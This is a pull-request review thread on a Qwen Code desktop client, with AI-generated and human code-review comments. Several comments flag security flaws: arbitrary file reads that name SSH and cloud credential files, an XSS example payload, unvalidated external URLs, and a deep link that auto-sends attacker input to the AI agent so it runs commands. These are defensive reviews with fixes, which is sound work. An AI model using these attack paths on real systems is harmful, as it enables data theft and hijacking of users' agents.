Fix: Export ProtocolProxyDispatcher (currently module-private). Add __tests__/network-proxy-dispatcher.test.ts with stub agents (subclass Dispatcher with a recording dispatch()) verifying: HTTP→http stub routing, HTTPS+httpsProxy-unset→http stub fall-through, NO_PROXY bypass routes to direct stub, await dispatcher.close() cascades to all three agents.

— claude-opus-4-7 via Claude Code /qreview

[wenshao]

[Suggestion] transfer:START accepts unbounded chunkCount / totalBytes → tmpdir DoS.

Validates chunkCount >= 1 and totalBytes >= 0 but no upper bound. A malicious client can send chunkCount=10_000_000, totalBytes=10**12, then upload chunks until os.tmpdir() is full (per-chunk size also uncapped — line 161 only checks data.length > 0). The 5-min TTL keeps in-flight transfers on disk that long. There's also no per-client active-transfer cap, so a single client can hold thousands of craft-transfer-{uuid} directories.

Impact: Authenticated thin-client (or local-renderer-via-XSS) can fill /tmp, hanging the embedded server and any tmpdir-sharing process. Service DoS on shared/multi-user hosts.

Fix:

• Reject totalBytes > MAX_TRANSFER_SIZE (e.g. 500 MB), chunkCount > MAX_CHUNKS (e.g. ceil(MAX_TRANSFER_SIZE / CHUNK_SIZE)).
• Track active transfers per ctx.clientId in a Map; reject when a client has more than e.g. 4 in-flight.
• Bound chunk size in transfer:CHUNK to ~1.5× CHUNK_SIZE after base64 expansion.

— claude-opus-4-7 via Claude Code /qreview

[wenshao]

[Suggestion] Bearer-token comparison t === serverToken is not timing-safe.

V8 string === short-circuits at the first mismatched character. UUIDv4 (~122 bits entropy) is hard to recover over the wire, but on loopback or LAN where jitter is sub-millisecond, per-character timing leaks.

Impact: Theoretical token recovery in low-jitter conditions. Not near-term exploitable, but an avoidable cryptographic flaw given that validateToken is the only auth gate for the embedded server.

Fix:

Suggested change

	validateToken: async (t) => t === serverToken,
	validateToken: async (t) => {
	if (typeof t !== 'string' || t.length !== serverToken.length) return false
	return crypto.timingSafeEqual(Buffer.from(t, 'utf8'), Buffer.from(serverToken, 'utf8'))
	},

(Add import * as crypto from 'node:crypto' at the top.)

— claude-opus-4-7 via Claude Code /qreview

[qwen-code-ci-bot]

Thanks for the PR, @DragonnZhang!

Template

The PR body doesn't follow the required template. The template expects specific headings — "What this PR does", "Why it's needed", "Reviewer Test Plan" (with "How to verify", "Evidence (Before & After)", "Tested on"), "Risk & Scope", "Linked Issues", and a <details> Chinese translation section. This PR uses different headings ("Summary", "Validation", "Scope / Risk", "Testing Matrix") and is missing the Chinese translation entirely. Please update the PR body to match the template.

Direction

Claude Code ships a desktop app (their CHANGELOG references it multiple times — sandbox fixes for "the desktop app", "desktop and third-party provider sessions", etc.), so a Qwen Code desktop client is directionally aligned.

However, this PR imports an entire Craft/Claude Desktop fork — 365,539 additions across 1,603 files — into the monorepo. That's a full standalone application with its own package manager (bun), build system (Vite + Electron), CI workflows, and even its own .github/, .dockerignore, and LICENSE. The workspace exclusion (!packages/desktop) means it can't even share npm install with the rest of the monorepo. This raises a real question: what's the benefit of co-locating this in the monorepo vs. maintaining it as a separate repository? The PR description says "shared code and unified development" but the workspace exclusion undermines that — the only shared boundary appears to be ~25 files of changes in packages/cli and packages/core.

Approach

The changes to existing packages are actually reasonable and focused:

• Adding desktop as a channel identifier
• Bun PTY guard in getPty.ts
• Skill metadata propagation (skillDetail) through the ACP session
• Mid-turn user message drain for the desktop client
• Subagent metadata propagation through MessageEmitter
• acpAgent.ts adds ~2,268 lines of settings/permissions handling (this deserves its own close review)

But the ratio tells the story: 25 files of actual integration vs. 1,578 files of imported application. If the goal is ACP SDK integration for a desktop client, the integration layer could land first, and the desktop app could be added as a separate concern — possibly in a separate repo with a sync mechanism (the desktop-openwork-sync.ts script hints at this already being planned).

Flagging for maintainer discussion before diving into code review. The direction is right but the scope needs a decision: full fork in monorepo, or integration-first with the desktop app as a separate concern?

中文说明

感谢贡献，@DragonnZhang！

模板

PR 正文没有按照 要求的模板 填写。模板要求特定的标题——"What this PR does"、"Why it's needed"、"Reviewer Test Plan"（包含"How to verify"、"Evidence (Before & After)"、"Tested on"）、"Risk & Scope"、"Linked Issues"，以及 <details> 中文翻译部分。本 PR 使用了不同的标题（"Summary"、"Validation"、"Scope / Risk"、"Testing Matrix"），且完全缺少中文翻译。请按照模板更新 PR 正文。

方向

Claude Code 已经有桌面应用（其 CHANGELOG 多次提及——"desktop app"的 sandbox 修复、"desktop and third-party provider sessions" 等），因此 Qwen Code 桌面客户端在方向上是一致的。

但本 PR 将整个 Craft/Claude Desktop 分支——365,539 行新增，1,603 个文件——导入到 monorepo 中。这是一个完整的独立应用，有自己的包管理器（bun）、构建系统（Vite + Electron）、CI 工作流，甚至有自己的 .github/、.dockerignore 和 LICENSE。工作区排除（!packages/desktop）意味着它无法与 monorepo 其余部分共享 npm install。这提出了一个真正的问题：将其放在 monorepo 中与维护为独立仓库相比，优势是什么？ PR 描述提到"共享代码和统一开发"，但工作区排除削弱了这一论点——唯一的共享边界似乎只是 packages/cli 和 packages/core 中约 25 个文件的修改。

方案

对现有包的修改实际上是合理且集中的：

• 添加 desktop 作为通道标识符
• getPty.ts 中的 Bun PTY 保护
• 通过 ACP 会话传播技能元数据（skillDetail）
• 桌面客户端的轮中用户消息排空
• 通过 MessageEmitter 传播子代理元数据
• acpAgent.ts 新增约 2,268 行的设置/权限处理（值得仔细审查）

但比例说明了一切：25 个文件的实际集成 vs. 1,578 个文件的应用导入。如果目标是桌面客户端的 ACP SDK 集成，集成层可以先落地，桌面应用可以作为独立关注点添加——可能在单独的仓库中，配合同步机制（desktop-openwork-sync.ts 脚本暗示这已在计划中）。

标记供维护者讨论，再深入代码审查。 方向正确，但范围需要决策：monorepo 中的完整分支，还是集成优先、桌面应用作为独立关注点？

— Qwen Code · qwen3.7-max

[qwen-code-ci-bot]

Automated Code Review

Reviewed with parallel analysis agents (security, correctness, code quality, undirected audit, build/test). These findings supplement the ~40 existing inline comments from prior reviewers.

Note: The PR was updated since initial review — non-desktop changes (cli, core, vscode-ide-companion, scripts) were reverted. Only desktop package findings remain.

Summary: 4 new findings (3 critical, 1 warning)

• Path access without workspace scoping — RPC handler accepts arbitrary absolute paths
• XSS via HTML attribute injection — unescaped URL in OAuth callback page
• Unvalidated URLs in shell.openExternal — remote server can supply dangerous URLs
• Unbounded resource allocation — base64 decoding without size limits

[qwen-code-ci-bot]

[Critical] READ_USER_ATTACHMENT reads arbitrary filesystem paths without workspace validation

This handler accepts any absolute path from the caller with only isAbsolute() and stat().isFile() checks. There is no validation against workspace allowed directories, unlike the READ_ATTACHMENT and READ handlers which call validateFilePath().

Any authenticated RPC client — including a compromised remote workspace server — can read arbitrary files up to 50 MB (e.g., /etc/passwd, ~/.ssh/id_rsa, ~/.aws/credentials).

The comment says the path "was written to drafts.json by a previous user-initiated attach" but the handler has no mechanism to verify this provenance.

Suggested fix: Validate the path against the workspace's allowed directories (same as READ_ATTACHMENT), or restrict reads to a known attachments directory. At minimum, reject paths under sensitive directories (.ssh, .gnupg, .aws).

// Example fix:
const safePath = await validateFilePath(path, getWorkspaceAllowedDirs(workspaceId))

[qwen-code-ci-bot]

[Critical] XSS via HTML href attribute injection — deeplinkUrl unescaped

This is a distinct injection vector from the window.location.href JavaScript injection on line 35. Here deeplinkUrl is interpolated directly into an HTML attribute without escaping:

<a href="${deeplinkUrl}" class="return-link">Qwen Code</a>

An attacker-controlled deeplinkUrl containing "> can break out of the href attribute and inject arbitrary HTML/script elements. A javascript: URL (e.g., javascript:alert(document.cookie)) would execute script on click.

Suggested fix: HTML-attribute-escape deeplinkUrl (encode ", <, >, &, '). Additionally, reject URLs with javascript: / data: / vbscript: schemes — the isSafeExternalUrl utility in url-safety.ts can be reused.

[qwen-code-ci-bot]

[Critical] shell.openExternal called with unvalidated URL from remote server

In the performOAuth flow, startResult.authUrl comes from the server's oauth:start RPC response. When the workspace is on a remote server, this URL originates from a potentially untrusted remote endpoint.

shell.openExternal is called directly without URL-scheme validation. A compromised remote server could return javascript:..., file:///..., or data:... as the auth URL, achieving code execution or local file access.

Notably, the main process (system.ts:222) does use isSafeExternalUrl before opening URLs — this preload path bypasses that defense.

Suggested fix: Import and apply isSafeExternalUrl (or at minimum a scheme allowlist of https: and http:) to startResult.authUrl before passing to shell.openExternal.

[qwen-code-ci-bot]

[Warning] GENERATE_THUMBNAIL decodes unbounded base64 with no size check — OOM risk

Buffer.from(base64, 'base64') at line 201 allocates a buffer proportional to the input string (~75% of encoded size). A malicious client can send a multi-gigabyte base64 payload, causing out-of-memory termination.

Compare with READ_USER_ATTACHMENT (line 174) which enforces USER_ATTACHMENT_MAX_BYTES.

Suggested fix: Reject the request if base64.length exceeds a reasonable maximum before decoding:

const MAX_THUMBNAIL_INPUT = 10 * 1024 * 1024 // 10 MB encoded
if (base64.length > MAX_THUMBNAIL_INPUT) {
  throw new Error(`Thumbnail input too large: ${base64.length} bytes`)
}

[wenshao]

[Critical] clientSecret: SLACK_CLIENT_SECRET is returned as part of the PreparedOAuthFlow object, which is sent from the main process to the renderer via RPC. The OAuth client secret is a sensitive credential that should never leave the main process — a compromised renderer or DevTools inspection can extract it. With the client secret, an attacker can impersonate the application and perform token exchanges on behalf of any user.

Keep the clientSecret server-side. The token exchange (exchangeCodeForTokens) should happen in the main process, not in the renderer. Remove clientSecret from the return value of prepareSlackOAuth.

— qwen3.7-plus via Qwen Code /review

[wenshao]

[Critical] shell.openExternal(url) is called with no URL validation in the preload capability handler. While the RPC handler layer in system.ts validates URLs via isSafeExternalUrl(), this capability handler is a separate code path — a remote workspace server that can directly invoke client capabilities bypasses that validation.

A malicious remote server can open arbitrary URLs including file:// (on some platforms), custom protocol handlers (ssh://, ftp://), or trigger OS-level actions. Add protocol validation here as defense-in-depth:

Suggested change

	client.handleCapability(CLIENT_OPEN_EXTERNAL, (url: string) => shell.openExternal(url))
	client.handleCapability(CLIENT_OPEN_EXTERNAL, (url: string) => {
	const parsed = new URL(url)
	if (!['http:', 'https:'].includes(parsed.protocol)) {
	throw new Error(`Blocked scheme: ${parsed.protocol}`)
	}
	return shell.openExternal(url)
	})

— qwen3.7-plus via Qwen Code /review

[wenshao]

[Critical] In production (no VITE_DEV_SERVER_URL), the did-fail-load handler's else branch calls window.loadFile(...) with no retry limit. If renderer/index.html is missing or corrupted (e.g., broken AppImage mount, incomplete install), loadFile triggers another did-fail-load, which calls loadFile again — creating an infinite synchronous reload loop. The dev path has a 5-retry limit, but production has zero protection.

This manifests as a flickering white screen at 100% CPU with no error message, and the log fills up too fast to diagnose.

Add a retry counter for production too, and show an error dialog after exhaustion:

Suggested change

	}
	} else if (failLoadRetries < 3) {
	failLoadRetries++
	windowLog.warn(`Retrying production renderer (attempt ${failLoadRetries}/3)...`)
	setTimeout(() => {
	window.loadFile(join(__dirname, 'renderer/index.html'), { query: { workspaceId } })
	}, 1000)
	} else {
	windowLog.error('Failed to load renderer after 3 attempts — showing error dialog')
	dialog.showMessageBox({ type: 'error', title: 'Load Error', message: 'Failed to load application. Please reinstall.' })
	}

— qwen3.7-plus via Qwen Code /review

[wenshao]

[Critical] await sessionManager.flushAllSessions() has no timeout. If any session flush hangs (network timeout to a remote server, stuck file watcher, deadlocked WS connection), the app is stuck forever in "quitting" state — the user cannot quit, and the only escape is Force Quit (which may corrupt session data).

Additionally, if any cleanup step after event.preventDefault() throws (e.g., browserPaneManager.destroyAll(), messagingHandle.dispose(), import('./power-manager')), app.exit(0) is never reached and the app remains stuck with quit prevented.

Wrap the flush in a timeout and move cleanup into try/finally:

event.preventDefault()
try {
  await Promise.race([
    sessionManager.flushAllSessions(),
    new Promise((_, reject) => setTimeout(() => reject(new Error('Flush timed out after 10s')), 10_000)),
  ])
  mainLog.info('Flushed all pending session writes')
} catch (error) {
  mainLog.error('Failed to flush sessions:', error)
} finally {
  // All cleanup + app.exit(0) should be here
}

— qwen3.7-plus via Qwen Code /review

[wenshao]

[Suggestion] ProtocolProxyDispatcher.dispatch() checks url?.startsWith('https:') to decide between HTTPS and HTTP proxy routing. WebSocket Secure (wss://) connections are not matched, so they fall through to the HTTP proxy. If separate HTTP/HTTPS proxies are configured, WSS connections will be incorrectly routed through the HTTP proxy, which may not support WebSocket CONNECT tunneling.

Suggested change

	dispatch(
	const isHttps = url?.startsWith('https:') || url?.startsWith('wss:')

— qwen3.7-plus via Qwen Code /review

[wenshao]

[Suggestion] backendNodeRefMap: Map<number, string> accumulates entries across every getAccessibilitySnapshot() call but is never cleared. While refMap and refDetails are cleared at the start of each snapshot (lines 193-194), backendNodeRefMap persists forever. Over a long browsing session with hundreds of snapshots, this map grows without bound — a memory leak proportional to the total number of unique DOM nodes encountered.

Clear backendNodeRefMap at the start of each getAccessibilitySnapshot() alongside refMap and refDetails, or scope it per-snapshot by passing it as a local parameter.

— qwen3.7-plus via Qwen Code /review

[qwen-code-ci-bot]

[Critical] Deep link delete-session and delete-source execute destructive operations without user confirmation. The normal UI flow calls showDeleteSessionConfirmation before deleting, but this deep link handler calls window.electronAPI.deleteSession(parsed.id) directly. Since craftagents:// is a registered protocol handler, an external URL like craftagents://action/delete-session/{id} from any webpage/email can silently delete user data.

The set-mode action similarly downgrades permission modes without confirmation.

Suggested fix: Add a confirmation dialog for destructive deep link actions, mirroring the existing showDeleteSessionConfirmation pattern.

— qwen3.7-max via Qwen Code /review

[qwen-code-ci-bot]

[Critical] Deep link new-chat with send=true auto-sends attacker-controlled messages to the AI agent without user review. A crafted craftagents://action/new-chat?input=...&send=true URL from any webpage creates a session and immediately sends the input to the agent with no user interaction, enabling arbitrary agent command execution (reading sensitive files, running shell commands) via social engineering.

Suggested fix: When send=true is present in a deep link, either populate the input field without auto-sending (requiring the user to press Send), or show a confirmation dialog before sending.

— qwen3.7-max via Qwen Code /review

[qwen-code-ci-bot]

[Suggestion] Package metadata still references the upstream fork. name is "openwork", author is "Model Studio AI", and repository/homepage point to modelstudioai/openwork. Consider updating to reflect the Qwen Code project (e.g., "@qwen-code/desktop", "Qwen Team") for consistency with the rest of the monorepo.

— qwen3.7-max via Qwen Code /review

[qwen-code-ci-bot]

[Suggestion] The CI only validates desktop workspace isolation but has no job that verifies desktop code compiles, typechecks, or passes tests. Since packages/desktop is excluded from the root npm workspace, npm run build/test skips all 1500+ desktop files. Broken desktop code can merge undetected until the manual desktop-release.yml workflow is triggered.

Consider adding a path-filtered desktop CI job that runs bun run typecheck on PRs touching packages/desktop/**.

— qwen3.7-max via Qwen Code /review

[qwen-code-ci-bot]

[Suggestion] The CI_BOT_PAT validation runs inside the sync-version job which has needs: [publish, release_metadata]. If the secret is missing, the release is already published but the version-sync PR fails, leaving the repo in an inconsistent state (release exists, version bump branch/PR not created).

Consider moving the PAT check to an early validation job (e.g., release_metadata) so the entire workflow fails before publishing if the secret is unavailable.

— qwen3.7-max via Qwen Code /review

[wenshao]

[Suggestion] spawnSync has no timeout option. If /usr/bin/codesign hangs (e.g., keychain access prompt, disk I/O stall, or sandbox restriction), the Electron main process blocks indefinitely — the app freezes with no diagnostic.

Suggested change

	const result = spawnSync('/usr/bin/codesign', ['-d', '-vvv', appBundlePath], {
	const result = spawnSync('/usr/bin/codesign', ['-d', '-vvv', appBundlePath], {
	encoding: 'utf8',
	timeout: 10_000,
	})

— qwen3.7-max via Qwen Code /review

[wenshao]

[Suggestion] getAutoUpdateCapability() permanently caches its result with no invalidation or retry. If codesign fails transiently (disk I/O error, Spotlight indexing, resource pressure), auto-update is disabled for the entire app session with no recovery path. The user sees a signature error message that doesn't suggest restarting.

Consider either: (a) not caching the mac-code-signature result (it's a single spawnSync, not expensive), (b) adding a TTL, or (c) re-evaluating on each checkForUpdates() call.

Also, when the signature check fails, no warn/error-level log is emitted — only an info-level "Skipping update check" with nested details that most log formatters render poorly. Add an explicit mainLog.warn('[auto-update] macOS code signature rejected', ...) here so the failure is discoverable in production logs.

— qwen3.7-max via Qwen Code /review

[wenshao]

[Suggestion] getAutoUpdateCapability() and getUpdaterCacheDirName() contain ~70 lines of branching logic (4 disable reasons, singleton caching, YAML regex parsing with fallback) but have no corresponding tests. The auto-update-signature.test.ts only covers the pure parsing functions.

Regressions in capability detection could silently disable updates for production users or enable them for unsafe builds. Consider adding unit tests that mock app.isPackaged, UPDATE_SOURCE, and getCurrentMacCodeSignatureStatus to verify each branch, plus testing getUpdaterCacheDirName with both valid YAML and the fallback path.

— qwen3.7-max via Qwen Code /review

[wenshao]

[Suggestion] The missing-team-identifier branch in parseMacCodeSignatureStatus (source line 56) is never directly tested. The adhoc-signature test above returns before reaching the teamIdentifier check. No test exercises the path where Signature is a real Developer ID but TeamIdentifier is not set or absent.

Consider adding:

it('rejects signed apps without a TeamIdentifier', () => {
  const status = parseMacCodeSignatureStatus('/Applications/OpenWork.app', 0, [
    'Signature=Developer ID Application: Example Inc',
    'TeamIdentifier=not set',
  ].join('\n'));
  expect(status.trustedForAutoUpdate).toBe(false);
  expect(status.reason).toBe('missing-team-identifier');
});

— qwen3.7-max via Qwen Code /review

[wenshao]

[Suggestion] Dead code: this if (!updateSource) throw is unreachable. getAutoUpdateCapability() above already returns { enabled: false, reason: 'unconfigured' } when UPDATE_SOURCE is falsy, so the function would have returned early. The same unreachable guard appears at line 545 in checkForUpdatesOnLaunch.

Consider removing the redundant null checks, or documenting why the extra guard is intentional.

— qwen3.7-max via Qwen Code /review

[wenshao]

[Suggestion] Two divergences from the root .github/workflows/desktop-release.yml:

1. Missing desktop-v* tag filter: The root workflow (line 559) filters previous_tag by .tagName | startswith("desktop-v"), but this workflow's gh release list query does not. This may select a CLI release tag (e.g., v1.2.3) as previous_tag, producing release notes that include unrelated CLI changes.

2. Missing --latest=false: The root workflow (line 584) passes --latest=false to gh release create to prevent desktop releases from becoming the repo's "latest" release. This workflow is missing that flag.

Fix for (1):

--jq '.[] | select(.isDraft == false and .isPrerelease == false and (.tagName | startswith("desktop-v"))) | .tagName'

Fix for (2): Add create_args+=(--latest=false) before gh release create.

— qwen3.7-max via Qwen Code /review

[pomelo-nwu]

LGTM！Bring small but beautiful changes to the world.

[doudouOUC]

LGTM✅

lgtm